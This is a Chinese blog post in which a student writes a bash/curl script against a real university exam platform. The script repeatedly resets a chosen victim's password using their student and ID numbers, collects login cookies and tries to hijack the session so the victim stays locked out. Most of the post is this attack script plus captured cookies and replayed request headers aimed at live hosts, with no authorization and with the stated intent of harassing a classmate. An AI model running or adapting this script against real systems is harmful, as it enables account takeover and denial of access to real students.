引言 前几天复习C语言,摸鱼了几天之后准备去学校的考试平台上做个题练练手,结果太久没登忘记密码了😓结果发现重置密码只需身份证号 ,而身份证号这种信息在同学之间几乎完全可见,忍不住想到有意思的事。
不过有个问题,重置之后受害者发现登陆不了,只需要重新重置一次不就可以了?那重置似乎也没什么意义……又想了想,如果我能写个脚本,不断重置密码,在受害者重置完到输入密码登录的间隔中又重置了一次密码,岂不就可以做到始终让受害者卡在登录和重置页面了吗?听起来有意思,刚好最近我又在鼓捣**curl ** ,对用shell发起请求比较熟悉,就着手试着写了下。
注:因为我在楼下的二手书店里淘来的Linux教程写shell编程用的bash,以下基于bash语法 。
简单的实现 如上所述,不断发起请求需要用到循环,就去查了下shell脚本中循环的语法:
1 2 3 4 5 for ((i=0;;i++))do echo "hello world!" pwd done
因为for循环的第二个遍历条件为空,故如上的脚本将无限循环 输出hello world和当前目录(pwd)。
下一步就是如何发起修改密码的请求,当然是用curl
1 curl "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"
修改密码的数据请求是用的是post,burp抓包看下请求头发现学号和身份证号参数名分别是StuNum和IC,构造curl的post请求:
1 curl -X POST --data "StuNum=123456&IC=123456789546821350" "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"
为了方便用,再做个接口:
1 2 3 4 5 echo "plz input the student number:" read stunumecho "plz input the ic:" read iccurl -X POST --data "StuNum=${stunum} &IC=${ic} " "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"
注:read传参变量需要用 ${} **
再加上循环就能完成无限循环发起请求修改密码,但试了下才想起来还是不行,因为重置密码只能重置成默认密码也就是学号,受害者只有第一次会发现登不上,第二次虽然重置但还是默认,所以完全没影响……
不过,如果能修改密码后再登录到账号内,用正常的修改密码操作完成修改密码,岂不就可以实现之前的思路了?
毫无疑问,这次的关键在cookie :账号内 修改密码的页面多半是用cookie完成身份验证的,而这个cookie就是在登录前 修改密码页面的响应头中(在正常的重置密码时,会在修改密码页面提交post传参,然后将相应头的cookie用作跳转的cookie重新请求原页面)
curl有类似操作的命令参数:
1 2 curl -c cookie.txt "url1" curl -b cookie.txt "url2"
如上-c将请求url1的cookie保存至cookie.txt,然后-b用cookie.txt作cookie请求url2.
我实际操作了下,发现登录页面始终返回402 refused,想了想可能是DNS解析的问题,改成IP之后可以了,最终的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/bin/bash green (){ echo -e "\033[32m\033[01m$1 \033[0m" } red (){ echo -e "\033[31m\033[01m$1 \033[0m" } echo "************************************" red " Welcome!" echo "************************************" green "请输入学号捏:" read stunum green "请输入身份证号捏:" read icred "秋豆麻袋捏^_^" for ((i=0;;i++))do sleep 10; curl -X POST --data "StuNum=${stunum} &IC=${ic} " "http://exam.cuit.edu.cn/index.php?r=not%2Fresetpasswd" green "修改密码完成捏!" curl -c cookie114514 -d "StuNumber=${stunum} &password=${stunum} " http://222.18.158.42/index.php?r=front%2Fsite%2Flogin green "获取cookie完成捏!" curl -b cookie114514 "http://exam.cuit.edu.cn/index.php?r=front%2Fsite%2Findex" green "会话劫持完成捏!登录成功!" echo -e "\n" done red "susess!"
但我实际测试了下发现可以完成密码修改和获取cookie,但无法成功登录 ,看了下生成的cookie文件:
1 2 3 4 5 6 # Netscape HTTP Cookie File # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. #HttpOnly_222.18.158.42 FALSE / FALSE 1639852412 _identity 216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Biwdaawdawdawd%3A1%3Bs%3dawadwawd1122179%22%2C%dwaawd9%22%2C18000%5D%22%3B%7D #HttpOnly_222.18.158.42 FALSE / FALSE 0 PHPSESSID 64lflvvcue2o1dawadf6i2tpt15 {1}
本以为是cookie未能正常发送,想用sed命令 和正则表达式 修改匹配的文本,但似乎没这么简单。抓包看下登录页面生成cookie的响应头 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OKDate : Tue, 21 Dec 2021 16:25:56 GMTServer : Apache/2.4.18 (Ubuntu)Expires : Thu, 19 Nov 1981 08:52:00 GMTCache-Control : no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma : no-cacheSet-Cookie : PHPSESSID=9mc7imdr5femaapggh6cl0p660; path=/; HttpOnlySet-Cookie : _identity=216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A33%3A%22%5B%222021122179%22%2C%222021122179%22%2C18000%5D%22%3B%7D; expires=Tue, 21-Dec-2021 21:25:56 GMT; Max-Age=18000; path=/; httponlyContent-Length : 44Connection : closeContent-Type : text/html; charset=UTF-8 {"error":0,"msg":"\u767b\u5f55\u6210\u529f"}
很明显set-cookie生成的键值对与密码和学号有关,PHPSESSID为随机值。
正常登录后 修改密码的请求头 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /index.php?r=front%2Fsite%2Fchange HTTP/1.1 Host : exam.mit.edu.cnContent-Length : 60Accept : application/json, text/javascript, */*; q=0.01X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://exam.mit.edu.cnReferer : http://exam.mit.edu.cn/index.php?r=front%2Fsite%2Fchange-passwordAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,ja;q=0.8,zh-TW;q=0.7,en;q=0.6,eu;q=0.5Cookie : UM_distinctid=17d3e299b16207-07b379d58115b1-57b1a33-144000-17d3e299b171050; PHPSESSID=ul2bcepjn984q5o0gqfrr94qp5; _identity=216677e5730f942bd87c1fa13ad6b5b71bcwadwaAdawfaef63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A33%3Awafd%22%5B%222021122179%2C%222021122179%22%2C18000%5D%22%3B%7DConnection : close StuNumber=20211221&oldpassword=2021122&newpassword=2021
看起来Referer和Origin也是**前后端鉴权 **的重要部分,但终归是静态的,很容易就修改,真正麻烦的还是有失效时限的token。我在burp的repeater模块试了下,即便是完全相同的请求头而且返回200也无法二次修改密码,而且一段时间后会直接302.
回头想想,其实这种脚本的关键在于模拟用户在浏览器正常发起请求的过程,完成正常的鉴权来完成传参。
现在的问题是如何绕过鉴权 ,如果不考虑token,正常的cookie与session交互流程如下:
刚才抓包是对服务端的请求,因此在数据库校验成功后服务器存session并在前端set-cookie,即刚才生成在响应头里的cookie(其中含有sessionid),然后请求登录页面跳转再验证,随后返回登陆后的首页内容。
这样想似乎思路还是没问题,在curl里再加个参数试试:
1 curl -v -H "Origin: http://exam.cuit.edu.cn" -H "http://exam.cuit.edu.cn/index.php?r=front%2Fsite%2Fchange-password" -d "StuNumber=2021122179&oldpassword=2021122179&newpassword=2021122" --cookie "UM_distinctid=17d3e299b16207-07b379d58115b1-57b1a33-144000-17d3e299b171050; PHPSESSID=ul2bcepjn984q5o0gqfrr94qp5; _identity=216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A33%3A%22%5B%222021122179%22%2C%222021122179%22%2C18000%5D%22%3B%7D" http://exam.mit.edu.cn/index.php?r=front%2Fsite%2Fchange
还是302,难搞,卡在这里搞不懂了,下次试试python的requests库能不能模拟请求。